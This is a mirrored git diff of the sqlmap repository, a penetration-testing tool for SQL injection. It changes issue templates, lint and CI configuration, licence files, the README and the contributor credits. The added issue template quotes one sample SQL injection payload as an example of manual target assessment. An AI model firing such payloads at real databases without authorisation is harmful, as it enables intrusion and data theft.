mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-08 21:51:29 +00:00
Compare commits
1 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
8bf566361d |
2
.gitattributes
vendored
2
.gitattributes
vendored
@@ -3,8 +3,6 @@
|
||||
*.md5 text eol=lf
|
||||
*.py text eol=lf
|
||||
*.xml text eol=lf
|
||||
LICENSE text eol=lf
|
||||
COMMITMENT text eol=lf
|
||||
|
||||
*_ binary
|
||||
*.dll binary
|
||||
|
||||
26
.github/ISSUE_TEMPLATE.md
vendored
Normal file
26
.github/ISSUE_TEMPLATE.md
vendored
Normal file
@@ -0,0 +1,26 @@
|
||||
## What's the problem (or question)?
|
||||
<!--- If describing a bug, tell us what happens instead of the expected behavior -->
|
||||
<!--- If suggesting a change/improvement, explain the difference from current behavior -->
|
||||
|
||||
## Do you have an idea for a solution?
|
||||
<!--- Not obligatory, but suggest a fix/reason for the bug, -->
|
||||
<!--- or ideas how to implement the addition or change -->
|
||||
|
||||
## How can we reproduce the issue?
|
||||
<!--- Provide unambiguous set of steps to reproduce this bug. Include command to reproduce, if relevant (you can mask the sensitive data) -->
|
||||
1.
|
||||
2.
|
||||
3.
|
||||
4.
|
||||
|
||||
## What are the running context details?
|
||||
<!--- Include as many relevant details about the running context you experienced the bug/problem in -->
|
||||
* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`):
|
||||
* Client OS (e.g. `Microsoft Windows 10`)
|
||||
* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation):
|
||||
* Target DBMS (e.g. `Microsoft SQL Server`):
|
||||
* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`):
|
||||
* SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`):
|
||||
* Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works):
|
||||
* Relevant console output (if any):
|
||||
* Exception traceback (if any):
|
||||
37
.github/ISSUE_TEMPLATE/bug_report.md
vendored
37
.github/ISSUE_TEMPLATE/bug_report.md
vendored
@@ -1,37 +0,0 @@
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: ''
|
||||
labels: bug report
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
**To Reproduce**
|
||||
1. Run '...'
|
||||
2. See error
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Running environment:**
|
||||
- sqlmap version [e.g. 1.3.5.93#dev]
|
||||
- Installation method [e.g. git]
|
||||
- Operating system: [e.g. Microsoft Windows 10]
|
||||
- Python version [e.g. 3.5.2]
|
||||
|
||||
**Target details:**
|
||||
- DBMS [e.g. Microsoft SQL Server]
|
||||
- SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind]
|
||||
- WAF/IPS [if any]
|
||||
- Relevant console output [if any]
|
||||
- Exception traceback [if any]
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
20
.github/ISSUE_TEMPLATE/feature_request.md
vendored
20
.github/ISSUE_TEMPLATE/feature_request.md
vendored
@@ -1,20 +0,0 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Suggest an idea for this project
|
||||
title: ''
|
||||
labels: feature request
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Is your feature request related to a problem? Please describe.**
|
||||
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
|
||||
|
||||
**Describe the solution you'd like**
|
||||
A clear and concise description of what you want to happen.
|
||||
|
||||
**Describe alternatives you've considered**
|
||||
A clear and concise description of any alternative solutions or features you've considered.
|
||||
|
||||
**Additional context**
|
||||
Add any other context or screenshots about the feature request here.
|
||||
4
.gitignore
vendored
4
.gitignore
vendored
@@ -1,8 +1,6 @@
|
||||
output/
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
output/
|
||||
.sqlmap_history
|
||||
traffic.txt
|
||||
*~
|
||||
req*.txt
|
||||
.idea/
|
||||
546
.pylintrc
546
.pylintrc
@@ -1,546 +0,0 @@
|
||||
# Based on Apache 2.0 licensed code from https://github.com/ClusterHQ/flocker
|
||||
|
||||
[MASTER]
|
||||
|
||||
# Specify a configuration file.
|
||||
#rcfile=
|
||||
|
||||
# Python code to execute, usually for sys.path manipulation such as
|
||||
# pygtk.require().
|
||||
init-hook=
|
||||
|
||||
# Add files or directories to the blacklist. They should be base names, not
|
||||
# paths.
|
||||
ignore=
|
||||
|
||||
# Pickle collected data for later comparisons.
|
||||
persistent=no
|
||||
|
||||
# List of plugins (as comma separated values of python modules names) to load,
|
||||
# usually to register additional checkers.
|
||||
load-plugins=
|
||||
|
||||
# Use multiple processes to speed up Pylint.
|
||||
# DO NOT CHANGE THIS VALUES >1 HIDE RESULTS!!!!!
|
||||
jobs=1
|
||||
|
||||
# Allow loading of arbitrary C extensions. Extensions are imported into the
|
||||
# active Python interpreter and may run arbitrary code.
|
||||
unsafe-load-any-extension=no
|
||||
|
||||
# A comma-separated list of package or module names from where C extensions may
|
||||
# be loaded. Extensions are loading into the active Python interpreter and may
|
||||
# run arbitrary code
|
||||
extension-pkg-whitelist=
|
||||
|
||||
# Allow optimization of some AST trees. This will activate a peephole AST
|
||||
# optimizer, which will apply various small optimizations. For instance, it can
|
||||
# be used to obtain the result of joining multiple strings with the addition
|
||||
# operator. Joining a lot of strings can lead to a maximum recursion error in
|
||||
# Pylint and this flag can prevent that. It has one side effect, the resulting
|
||||
# AST will be different than the one from reality.
|
||||
optimize-ast=no
|
||||
|
||||
|
||||
[MESSAGES CONTROL]
|
||||
|
||||
# Only show warnings with the listed confidence levels. Leave empty to show
|
||||
# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED
|
||||
confidence=
|
||||
|
||||
# Enable the message, report, category or checker with the given id(s). You can
|
||||
# either give multiple identifier separated by comma (,) or put this option
|
||||
# multiple time. See also the "--disable" option for examples.
|
||||
disable=all
|
||||
|
||||
enable=import-error,
|
||||
import-self,
|
||||
reimported,
|
||||
wildcard-import,
|
||||
misplaced-future,
|
||||
deprecated-module,
|
||||
unpacking-non-sequence,
|
||||
invalid-all-object,
|
||||
undefined-all-variable,
|
||||
used-before-assignment,
|
||||
cell-var-from-loop,
|
||||
global-variable-undefined,
|
||||
redefine-in-handler,
|
||||
unused-import,
|
||||
unused-wildcard-import,
|
||||
global-variable-not-assigned,
|
||||
undefined-loop-variable,
|
||||
global-at-module-level,
|
||||
bad-open-mode,
|
||||
redundant-unittest-assert,
|
||||
boolean-datetime
|
||||
deprecated-method,
|
||||
anomalous-unicode-escape-in-string,
|
||||
anomalous-backslash-in-string,
|
||||
not-in-loop,
|
||||
continue-in-finally,
|
||||
abstract-class-instantiated,
|
||||
star-needs-assignment-target,
|
||||
duplicate-argument-name,
|
||||
return-in-init,
|
||||
too-many-star-expressions,
|
||||
nonlocal-and-global,
|
||||
return-outside-function,
|
||||
return-arg-in-generator,
|
||||
invalid-star-assignment-target,
|
||||
bad-reversed-sequence,
|
||||
nonexistent-operator,
|
||||
yield-outside-function,
|
||||
init-is-generator,
|
||||
nonlocal-without-binding,
|
||||
lost-exception,
|
||||
assert-on-tuple,
|
||||
dangerous-default-value,
|
||||
duplicate-key,
|
||||
useless-else-on-loop
|
||||
expression-not-assigned,
|
||||
confusing-with-statement,
|
||||
unnecessary-lambda,
|
||||
pointless-statement,
|
||||
pointless-string-statement,
|
||||
unnecessary-pass,
|
||||
unreachable,
|
||||
using-constant-test,
|
||||
bad-super-call,
|
||||
missing-super-argument,
|
||||
slots-on-old-class,
|
||||
super-on-old-class,
|
||||
property-on-old-class,
|
||||
not-an-iterable,
|
||||
not-a-mapping,
|
||||
format-needs-mapping,
|
||||
truncated-format-string,
|
||||
missing-format-string-key,
|
||||
mixed-format-string,
|
||||
too-few-format-args,
|
||||
bad-str-strip-call,
|
||||
too-many-format-args,
|
||||
bad-format-character,
|
||||
format-combined-specification,
|
||||
bad-format-string-key,
|
||||
bad-format-string,
|
||||
missing-format-attribute,
|
||||
missing-format-argument-key,
|
||||
unused-format-string-argument
|
||||
unused-format-string-key,
|
||||
invalid-format-index,
|
||||
bad-indentation,
|
||||
mixed-indentation,
|
||||
unnecessary-semicolon,
|
||||
lowercase-l-suffix,
|
||||
invalid-encoded-data,
|
||||
unpacking-in-except,
|
||||
import-star-module-level,
|
||||
long-suffix,
|
||||
old-octal-literal,
|
||||
old-ne-operator,
|
||||
backtick,
|
||||
old-raise-syntax,
|
||||
metaclass-assignment,
|
||||
next-method-called,
|
||||
dict-iter-method,
|
||||
dict-view-method,
|
||||
indexing-exception,
|
||||
raising-string,
|
||||
using-cmp-argument,
|
||||
cmp-method,
|
||||
coerce-method,
|
||||
delslice-method,
|
||||
getslice-method,
|
||||
hex-method,
|
||||
nonzero-method,
|
||||
t-method,
|
||||
setslice-method,
|
||||
old-division,
|
||||
logging-format-truncated,
|
||||
logging-too-few-args,
|
||||
logging-too-many-args,
|
||||
logging-unsupported-format,
|
||||
logging-format-interpolation,
|
||||
invalid-unary-operand-type,
|
||||
unsupported-binary-operation,
|
||||
not-callable,
|
||||
redundant-keyword-arg,
|
||||
assignment-from-no-return,
|
||||
assignment-from-none,
|
||||
not-context-manager,
|
||||
repeated-keyword,
|
||||
missing-kwoa,
|
||||
no-value-for-parameter,
|
||||
invalid-sequence-index,
|
||||
invalid-slice-index,
|
||||
unexpected-keyword-arg,
|
||||
unsupported-membership-test,
|
||||
unsubscriptable-object,
|
||||
access-member-before-definition,
|
||||
method-hidden,
|
||||
assigning-non-slot,
|
||||
duplicate-bases,
|
||||
inconsistent-mro,
|
||||
inherit-non-class,
|
||||
invalid-slots,
|
||||
invalid-slots-object,
|
||||
no-method-argument,
|
||||
no-self-argument,
|
||||
unexpected-special-method-signature,
|
||||
non-iterator-returned,
|
||||
arguments-differ,
|
||||
signature-differs,
|
||||
bad-staticmethod-argument,
|
||||
non-parent-init-called,
|
||||
bad-except-order,
|
||||
catching-non-exception,
|
||||
bad-exception-context,
|
||||
notimplemented-raised,
|
||||
raising-bad-type,
|
||||
raising-non-exception,
|
||||
misplaced-bare-raise,
|
||||
duplicate-except,
|
||||
nonstandard-exception,
|
||||
binary-op-exception,
|
||||
not-async-context-manager,
|
||||
yield-inside-async-function
|
||||
|
||||
# Needs investigation:
|
||||
# abstract-method (might be indicating a bug? probably not though)
|
||||
# protected-access (requires some refactoring)
|
||||
# attribute-defined-outside-init (requires some refactoring)
|
||||
# super-init-not-called (requires some cleanup)
|
||||
|
||||
# Things we'd like to enable someday:
|
||||
# redefined-builtin (requires a bunch of work to clean up our code first)
|
||||
# redefined-outer-name (requires a bunch of work to clean up our code first)
|
||||
# undefined-variable (re-enable when pylint fixes https://github.com/PyCQA/pylint/issues/760)
|
||||
# no-name-in-module (giving us spurious warnings https://github.com/PyCQA/pylint/issues/73)
|
||||
# unused-argument (need to clean up or code a lot, e.g. prefix unused_?)
|
||||
# function-redefined (@overload causes lots of spurious warnings)
|
||||
# too-many-function-args (@overload causes spurious warnings... I think)
|
||||
# parameter-unpacking (needed for eventual Python 3 compat)
|
||||
# print-statement (needed for eventual Python 3 compat)
|
||||
# filter-builtin-not-iterating (Python 3)
|
||||
# map-builtin-not-iterating (Python 3)
|
||||
# range-builtin-not-iterating (Python 3)
|
||||
# zip-builtin-not-iterating (Python 3)
|
||||
# many others relevant to Python 3
|
||||
# unused-variable (a little work to cleanup, is all)
|
||||
|
||||
# ...
|
||||
[REPORTS]
|
||||
|
||||
# Set the output format. Available formats are text, parseable, colorized, msvs
|
||||
# (visual studio) and html. You can also give a reporter class, eg
|
||||
# mypackage.mymodule.MyReporterClass.
|
||||
output-format=parseable
|
||||
|
||||
# Put messages in a separate file for each module / package specified on the
|
||||
# command line instead of printing them on stdout. Reports (if any) will be
|
||||
# written in a file name "pylint_global.[txt|html]".
|
||||
files-output=no
|
||||
|
||||
# Tells whether to display a full report or only the messages
|
||||
reports=no
|
||||
|
||||
# Python expression which should return a note less than 10 (10 is the highest
|
||||
# note). You have access to the variables errors warning, statement which
|
||||
# respectively contain the number of errors / warnings messages and the total
|
||||
# number of statements analyzed. This is used by the global evaluation report
|
||||
# (RP0004).
|
||||
evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)
|
||||
|
||||
# Template used to display messages. This is a python new-style format string
|
||||
# used to format the message information. See doc for all details
|
||||
#msg-template=
|
||||
|
||||
|
||||
[LOGGING]
|
||||
|
||||
# Logging modules to check that the string format arguments are in logging
|
||||
# function parameter format
|
||||
logging-modules=logging
|
||||
|
||||
|
||||
[FORMAT]
|
||||
|
||||
# Maximum number of characters on a single line.
|
||||
max-line-length=100
|
||||
|
||||
# Regexp for a line that is allowed to be longer than the limit.
|
||||
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
|
||||
|
||||
# Allow the body of an if to be on the same line as the test if there is no
|
||||
# else.
|
||||
single-line-if-stmt=no
|
||||
|
||||
# List of optional constructs for which whitespace checking is disabled. `dict-
|
||||
# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}.
|
||||
# `trailing-comma` allows a space between comma and closing bracket: (a, ).
|
||||
# `empty-line` allows space-only lines.
|
||||
no-space-check=trailing-comma,dict-separator
|
||||
|
||||
# Maximum number of lines in a module
|
||||
max-module-lines=1000
|
||||
|
||||
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
|
||||
# tab).
|
||||
indent-string=' '
|
||||
|
||||
# Number of spaces of indent required inside a hanging or continued line.
|
||||
indent-after-paren=4
|
||||
|
||||
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
|
||||
expected-line-ending-format=
|
||||
|
||||
|
||||
[TYPECHECK]
|
||||
|
||||
# Tells whether missing members accessed in mixin class should be ignored. A
|
||||
# mixin class is detected if its name ends with "mixin" (case insensitive).
|
||||
ignore-mixin-members=yes
|
||||
|
||||
# List of module names for which member attributes should not be checked
|
||||
# (useful for modules/projects where namespaces are manipulated during runtime
|
||||
# and thus existing member attributes cannot be deduced by static analysis. It
|
||||
# supports qualified module names, as well as Unix pattern matching.
|
||||
ignored-modules=
|
||||
|
||||
# List of classes names for which member attributes should not be checked
|
||||
# (useful for classes with attributes dynamically set). This supports can work
|
||||
# with qualified names.
|
||||
ignored-classes=
|
||||
|
||||
# List of members which are set dynamically and missed by pylint inference
|
||||
# system, and so shouldn't trigger E1101 when accessed. Python regular
|
||||
# expressions are accepted.
|
||||
generated-members=
|
||||
|
||||
|
||||
[VARIABLES]
|
||||
|
||||
# Tells whether we should check for unused import in __init__ files.
|
||||
init-import=no
|
||||
|
||||
# A regular expression matching the name of dummy variables (i.e. expectedly
|
||||
# not used).
|
||||
dummy-variables-rgx=_$|dummy
|
||||
|
||||
# List of additional names supposed to be defined in builtins. Remember that
|
||||
# you should avoid to define new builtins when possible.
|
||||
additional-builtins=
|
||||
|
||||
# List of strings which can identify a callback function by name. A callback
|
||||
# name must start or end with one of those strings.
|
||||
callbacks=cb_,_cb
|
||||
|
||||
|
||||
[SIMILARITIES]
|
||||
|
||||
# Minimum lines number of a similarity.
|
||||
min-similarity-lines=4
|
||||
|
||||
# Ignore comments when computing similarities.
|
||||
ignore-comments=yes
|
||||
|
||||
# Ignore docstrings when computing similarities.
|
||||
ignore-docstrings=yes
|
||||
|
||||
# Ignore imports when computing similarities.
|
||||
ignore-imports=no
|
||||
|
||||
|
||||
[SPELLING]
|
||||
|
||||
# Spelling dictionary name. Available dictionaries: none. To make it working
|
||||
# install python-enchant package.
|
||||
spelling-dict=
|
||||
|
||||
# List of comma separated words that should not be checked.
|
||||
spelling-ignore-words=
|
||||
|
||||
# A path to a file that contains private dictionary; one word per line.
|
||||
spelling-private-dict-file=
|
||||
|
||||
# Tells whether to store unknown words to indicated private dictionary in
|
||||
# --spelling-private-dict-file option instead of raising a message.
|
||||
spelling-store-unknown-words=no
|
||||
|
||||
|
||||
[MISCELLANEOUS]
|
||||
|
||||
# List of note tags to take in consideration, separated by a comma.
|
||||
notes=FIXME,XXX,TODO
|
||||
|
||||
|
||||
[BASIC]
|
||||
|
||||
# List of builtins function names that should not be used, separated by a comma
|
||||
bad-functions=map,filter,input
|
||||
|
||||
# Good variable names which should always be accepted, separated by a comma
|
||||
good-names=i,j,k,ex,Run,_
|
||||
|
||||
# Bad variable names which should always be refused, separated by a comma
|
||||
bad-names=foo,bar,baz,toto,tutu,tata
|
||||
|
||||
# Colon-delimited sets of names that determine each other's naming style when
|
||||
# the name regexes allow several styles.
|
||||
name-group=
|
||||
|
||||
# Include a hint for the correct naming format with invalid-name
|
||||
include-naming-hint=no
|
||||
|
||||
# Regular expression matching correct function names
|
||||
function-rgx=[a-z_][a-z0-9_]{2,30}$
|
||||
|
||||
# Naming hint for function names
|
||||
function-name-hint=[a-z_][a-z0-9_]{2,30}$
|
||||
|
||||
# Regular expression matching correct variable names
|
||||
variable-rgx=[a-z_][a-z0-9_]{2,30}$
|
||||
|
||||
# Naming hint for variable names
|
||||
variable-name-hint=[a-z_][a-z0-9_]{2,30}$
|
||||
|
||||
# Regular expression matching correct constant names
|
||||
const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$
|
||||
|
||||
# Naming hint for constant names
|
||||
const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$
|
||||
|
||||
# Regular expression matching correct attribute names
|
||||
attr-rgx=[a-z_][a-z0-9_]{2,30}$
|
||||
|
||||
# Naming hint for attribute names
|
||||
attr-name-hint=[a-z_][a-z0-9_]{2,30}$
|
||||
|
||||
# Regular expression matching correct argument names
|
||||
argument-rgx=[a-z_][a-z0-9_]{2,30}$
|
||||
|
||||
# Naming hint for argument names
|
||||
argument-name-hint=[a-z_][a-z0-9_]{2,30}$
|
||||
|
||||
# Regular expression matching correct class attribute names
|
||||
class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
|
||||
|
||||
# Naming hint for class attribute names
|
||||
class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
|
||||
|
||||
# Regular expression matching correct inline iteration names
|
||||
inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$
|
||||
|
||||
# Naming hint for inline iteration names
|
||||
inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$
|
||||
|
||||
# Regular expression matching correct class names
|
||||
class-rgx=[A-Z_][a-zA-Z0-9]+$
|
||||
|
||||
# Naming hint for class names
|
||||
class-name-hint=[A-Z_][a-zA-Z0-9]+$
|
||||
|
||||
# Regular expression matching correct module names
|
||||
module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
|
||||
|
||||
# Naming hint for module names
|
||||
module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
|
||||
|
||||
# Regular expression matching correct method names
|
||||
method-rgx=[a-z_][a-z0-9_]{2,30}$
|
||||
|
||||
# Naming hint for method names
|
||||
method-name-hint=[a-z_][a-z0-9_]{2,30}$
|
||||
|
||||
# Regular expression which should only match function or class names that do
|
||||
# not require a docstring.
|
||||
no-docstring-rgx=^_
|
||||
|
||||
# Minimum line length for functions/classes that require docstrings, shorter
|
||||
# ones are exempt.
|
||||
docstring-min-length=-1
|
||||
|
||||
|
||||
[ELIF]
|
||||
|
||||
# Maximum number of nested blocks for function / method body
|
||||
max-nested-blocks=5
|
||||
|
||||
|
||||
[IMPORTS]
|
||||
|
||||
# Deprecated modules which should not be used, separated by a comma
|
||||
deprecated-modules=regsub,TERMIOS,Bastion,rexec
|
||||
|
||||
# Create a graph of every (i.e. internal and external) dependencies in the
|
||||
# given file (report RP0402 must not be disabled)
|
||||
import-graph=
|
||||
|
||||
# Create a graph of external dependencies in the given file (report RP0402 must
|
||||
# not be disabled)
|
||||
ext-import-graph=
|
||||
|
||||
# Create a graph of internal dependencies in the given file (report RP0402 must
|
||||
# not be disabled)
|
||||
int-import-graph=
|
||||
|
||||
|
||||
[DESIGN]
|
||||
|
||||
# Maximum number of arguments for function / method
|
||||
max-args=5
|
||||
|
||||
# Argument names that match this expression will be ignored. Default to name
|
||||
# with leading underscore
|
||||
ignored-argument-names=_.*
|
||||
|
||||
# Maximum number of locals for function / method body
|
||||
max-locals=15
|
||||
|
||||
# Maximum number of return / yield for function / method body
|
||||
max-returns=6
|
||||
|
||||
# Maximum number of branch for function / method body
|
||||
max-branches=12
|
||||
|
||||
# Maximum number of statements in function / method body
|
||||
max-statements=50
|
||||
|
||||
# Maximum number of parents for a class (see R0901).
|
||||
max-parents=7
|
||||
|
||||
# Maximum number of attributes for a class (see R0902).
|
||||
max-attributes=7
|
||||
|
||||
# Minimum number of public methods for a class (see R0903).
|
||||
min-public-methods=2
|
||||
|
||||
# Maximum number of public methods for a class (see R0904).
|
||||
max-public-methods=20
|
||||
|
||||
# Maximum number of boolean expressions in a if statement
|
||||
max-bool-expr=5
|
||||
|
||||
|
||||
[CLASSES]
|
||||
|
||||
# List of method names used to declare (i.e. assign) instance attributes.
|
||||
defining-attr-methods=__init__,__new__,setUp
|
||||
|
||||
# List of valid names for the first argument in a class method.
|
||||
valid-classmethod-first-arg=cls
|
||||
|
||||
# List of valid names for the first argument in a metaclass class method.
|
||||
valid-metaclass-classmethod-first-arg=mcs
|
||||
|
||||
# List of member names, which should be excluded from the protected access
|
||||
# warning.
|
||||
exclude-protected=_asdict,_fields,_replace,_source,_make
|
||||
|
||||
|
||||
[EXCEPTIONS]
|
||||
|
||||
# Exceptions that will emit a warning when being caught. Defaults to
|
||||
# "Exception"
|
||||
overgeneral-exceptions=Exception
|
||||
@@ -5,9 +5,5 @@ git:
|
||||
python:
|
||||
- "2.6"
|
||||
- "2.7"
|
||||
- "3.3"
|
||||
- "3.6"
|
||||
script:
|
||||
- python -c "import sqlmap; import sqlmapapi"
|
||||
- python sqlmap.py --smoke
|
||||
- python sqlmap.py --vuln
|
||||
46
COMMITMENT
46
COMMITMENT
@@ -1,46 +0,0 @@
|
||||
GPL Cooperation Commitment
|
||||
Version 1.0
|
||||
|
||||
Before filing or continuing to prosecute any legal proceeding or claim
|
||||
(other than a Defensive Action) arising from termination of a Covered
|
||||
License, we commit to extend to the person or entity ('you') accused
|
||||
of violating the Covered License the following provisions regarding
|
||||
cure and reinstatement, taken from GPL version 3. As used here, the
|
||||
term 'this License' refers to the specific Covered License being
|
||||
enforced.
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly
|
||||
and finally terminates your license, and (b) permanently, if the
|
||||
copyright holder fails to notify you of the violation by some
|
||||
reasonable means prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you
|
||||
have received notice of violation of this License (for any work)
|
||||
from that copyright holder, and you cure the violation prior to 30
|
||||
days after your receipt of the notice.
|
||||
|
||||
We intend this Commitment to be irrevocable, and binding and
|
||||
enforceable against us and assignees of or successors to our
|
||||
copyrights.
|
||||
|
||||
Definitions
|
||||
|
||||
'Covered License' means the GNU General Public License, version 2
|
||||
(GPLv2), the GNU Lesser General Public License, version 2.1
|
||||
(LGPLv2.1), or the GNU Library General Public License, version 2
|
||||
(LGPLv2), all as published by the Free Software Foundation.
|
||||
|
||||
'Defensive Action' means a legal proceeding or claim that We bring
|
||||
against you in response to a prior proceeding or claim initiated by
|
||||
you or your affiliate.
|
||||
|
||||
'We' means each contributor to this repository as of the date of
|
||||
inclusion of this file, including subsidiaries of a corporate
|
||||
contributor.
|
||||
|
||||
This work is available under a Creative Commons Attribution-ShareAlike
|
||||
4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/).
|
||||
2
LICENSE
2
LICENSE
@@ -1,7 +1,7 @@
|
||||
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
||||
of the GNU General Public License (GPL) is appended to this file.
|
||||
|
||||
sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||
sqlmap is (C) 2006-2018 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||
|
||||
This program is free software; you may redistribute and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap) [](https://badge.fury.io/py/sqlmap)
|
||||
|
||||
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
|
||||
|
||||
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
|
||||
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).**
|
||||
|
||||
Screenshots
|
||||
----
|
||||
@@ -22,7 +22,7 @@ Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlm
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform.
|
||||
sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6.x** and **2.7.x** on any platform.
|
||||
|
||||
Usage
|
||||
----
|
||||
@@ -58,7 +58,6 @@ Translations
|
||||
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
|
||||
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
|
||||
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
|
||||
* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md)
|
||||
* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
|
||||
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
|
||||
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
||||
@@ -68,4 +67,3 @@ Translations
|
||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
||||
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
|
||||
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
|
||||
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
|
||||
|
||||
Binary file not shown.
@@ -1,15 +1,3 @@
|
||||
# Version 1.3 (2019-01-05)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||
|
||||
# Version 1.2 (2018-01-08)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
||||
|
||||
# Version 1.1 (2017-04-07)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
||||
|
||||
# Version 1.0 (2016-02-27)
|
||||
|
||||
* Implemented support for automatic decoding of page content through detected charset.
|
||||
|
||||
@@ -202,7 +202,7 @@ Tate Hansen, <tate(at)clearnetsec.com>
|
||||
Mario Heiderich, <mario.heiderich(at)gmail.com>
|
||||
Christian Matthies, <ch0012(at)gmail.com>
|
||||
Lars H. Strojny, <lars(at)strojny.net>
|
||||
* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, https://github.com/PHPIDS/PHPIDS
|
||||
* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, http://php-ids.org
|
||||
|
||||
Kristian Erik Hermansen, <kristian.hermansen(at)gmail.com>
|
||||
* for reporting a bug
|
||||
@@ -565,9 +565,6 @@ Efrain Torres, <et(at)metasploit.com>
|
||||
* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
|
||||
* for his great Metasploit WMAP Framework
|
||||
|
||||
Jennifer Torres, <jtorresf42(at)gmail.com>
|
||||
* for contributing a tamper script luanginx.py
|
||||
|
||||
Sandro Tosi, <matrixhasu(at)gmail.com>
|
||||
* for helping to create sqlmap Debian package correctly
|
||||
|
||||
@@ -764,12 +761,6 @@ ultramegaman, <seclists(at)ultramegaman.com>
|
||||
Vinicius, <viniciusmaxdaloop(at)gmail.com>
|
||||
* for reporting a minor bug
|
||||
|
||||
virusdefender
|
||||
* for contributing WAF scripts safeline.py
|
||||
|
||||
w8ay
|
||||
* for contributing an implementation for chunked transfer-encoding (switch --chunked)
|
||||
|
||||
wanglei, <wanglei(at)17uxi.cn>
|
